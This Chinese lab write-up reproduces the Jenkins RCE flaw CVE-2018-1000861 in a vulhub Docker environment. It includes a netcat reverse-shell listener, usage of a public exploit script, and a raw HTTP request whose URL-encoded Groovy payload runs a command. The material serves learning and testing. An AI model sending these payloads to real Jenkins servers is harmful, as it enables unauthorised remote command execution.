CVE-2018-1000861復(fù)現(xiàn)


vulhub

1. 漏洞介紹

1.1 背景介紹

Jenkins使用Stapler框架開發(fā),其允許用戶通過URL PATH來調(diào)用一次public方法。由于這個過程沒有做限制,攻擊者可以構(gòu)造一些特殊的PATH來執(zhí)行一些敏感的Java方法。

通過這個漏洞,我們可以找到很多可供利用的利用鏈。其中最嚴(yán)重的就是繞過Groovy沙盒導(dǎo)致未授權(quán)用戶可執(zhí)行任意命令:Jenkins在沙盒中執(zhí)行Groovy前會先檢查腳本是否有錯誤,檢查操作是沒有沙盒的,攻擊者可以通過Meta-Programming的方式,在檢查這個步驟時執(zhí)行任意命令。

1.2 漏洞影響

Jenkins Version <= 2.56
Jenkins LTS Version <= 2.46.1

2. 漏洞詳細(xì)復(fù)現(xiàn)步驟

2.1 環(huán)境&工具

漏洞機:192.168.10.200 ubuntu

  • docker
  • vulhub

攻擊機:Windows10

  • Burpsuit
  • wireshark

2.2 漏洞復(fù)現(xiàn)步驟

2.2.1 漏洞機環(huán)境

執(zhí)行如下命令啟動一個Jenkins 2.138,包含漏洞的插件也已經(jīng)安裝:

docker-compose up -d

環(huán)境啟動后,訪問http://your-ip:8080即可看到一個已經(jīng)成功初始化的Jenkins,無需再進(jìn)行任何操作。

2.2.2 漏洞復(fù)現(xiàn)
  1. 反彈shell

/dev/tcp是一個socket鏈接

嘗試在windows攻擊機的防火墻的高級設(shè)置中添加入站規(guī)則和出站規(guī)則,依然鏈接被拒絕。

ping攻擊機是能夠ping通的。

嘗試關(guān)掉靶機的防火墻,依然鏈接被拒絕

嘗試更換端口號,依然鏈接被拒絕

明明就能ping通,我實在想不通。

解密了,應(yīng)當(dāng)先在攻擊機監(jiān)聽端口,再在靶機tcp鏈接攻擊機,這個時候再在攻擊機回車兩次,就會出現(xiàn)反彈shell。

nc -lvp 6789 #port
  1. 使用一鍵POC腳本

使用https://github.com/orangetw/awesome-jenkins-rce-2019

下載運行 exp.py 需要的依賴

pip install requests
pip install enum

執(zhí)行exp.py

python exp.py http://靶機ip:8080/ "touch /tmp/success"

在靶機查看是否成功

  1. 使用burpsuite

現(xiàn)將playload中的value編碼url

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{%20public%20x(){%20%22touch%20/tmp/ascotbe%22.execute()%20}%20} HTTP/1.1
Host: 192.168.0.113:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: screenResolution=1920x1080; JSESSIONID.d8a9d49b=node04iwr99dggu5u1fnn3epmfu3513.node0; JSESSIONID.5ecc223b=node0179ytitxipcl01li5ix1f0ac5c0.node0
Connection: close

response一片空白。

2.3 漏洞復(fù)現(xiàn)注意事項

應(yīng)當(dāng)先在攻擊機監(jiān)聽端口,再在靶機tcp鏈接攻擊機,這樣端口才能對應(yīng)上!如果先tcp鏈接是會被拒絕的。如果鏈接不上,應(yīng)當(dāng)先檢查雙方是否能ping通,再檢查IPS是否攔截成功。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容